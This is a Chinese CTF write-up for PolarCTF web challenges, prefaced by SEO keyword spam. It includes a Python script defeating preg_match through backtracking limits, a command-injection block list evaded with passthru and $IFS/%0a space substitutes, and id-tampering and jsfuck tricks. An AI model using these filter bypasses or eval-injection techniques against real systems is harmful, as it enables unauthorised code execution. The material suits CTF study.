网站系统源代码,青岛网站建设企业,大连城乡住房建设厅网站,郓城网站建设公司静以养心#xff0c;宽以养气。
跟着Dream ZHO大神学专升安的一天
swp 直接dirb扫出.index.php.swp的目录 function jiuzhe($xdmtql){return preg_match(/sys.*nb/is,$xdmtql);//如果包含以 sys 开始#xff0c;后跟任意字符直到 nb 的字符串…静以养心宽以养气。
跟着Dream ZHO大神学专升安的一天
swp 直接dirb扫出.index.php.swp的目录 function jiuzhe($xdmtql){return preg_match(/sys.*nb/is,$xdmtql);//如果包含以 sys 开始后跟任意字符直到 nb 的字符串返回true
}$xdmtql$_POST[xdmtql];
if(!is_array($xdmtql)){//非数组if(!jiuzhe($xdmtql)){if(strpos($xdmtql,sys nb)!false){如果$xdmtql匹配到sys nb则输出flag{*******}echo flag{*******};}else{echo true .swp file?;}}else{echo nijilenijile;}
} 我们要想得到flag要满足$xdmtql非数组不匹配/sys.*nb/is但是要匹配strpos($xdmtql,sys nb)为true
这样我们可以用回溯绕过pre_match函数处理的字符长度有限如果超过这个长度就会返回false也就是没有匹配到。直接上脚本。
import requests
requestrequests.post(http://24aac5d4-fc13-414a-8c21-62130c090777.www.polarctf.com:8090/,data{xdmtql:sys nb-*1000000})
print(request.text) 简单rce
?php
/*PolarDN CTF*/
highlight_file(__FILE__);
function no($txt){if(!preg_match(/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i, $txt)){return $txt;}else{
die(whats up);}}
$yyds($_POST[yyds]);
if(isset($_GET[sys])$yyds666){eval(no($_GET[sys]));}else{echo nonono;
}
? nonono
这题过滤了cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen这么多函数但是他过滤关我什么事我们仍可以用echo和passthru来查看目录空格用%0a或{$IFS}代替读取文件用vi。
下面直接开打!!! 蜜雪冰城吉警店 只要把任意id改为9即可 召唤神龙 直接看源码发现js有jsfuck编码 在浏览器解密一下就出来了 seek flag
查看源码一眼robots.txt 发现了flag3那我们再找另两部分 抓个包看看 发现flag2将id设为1发现flag1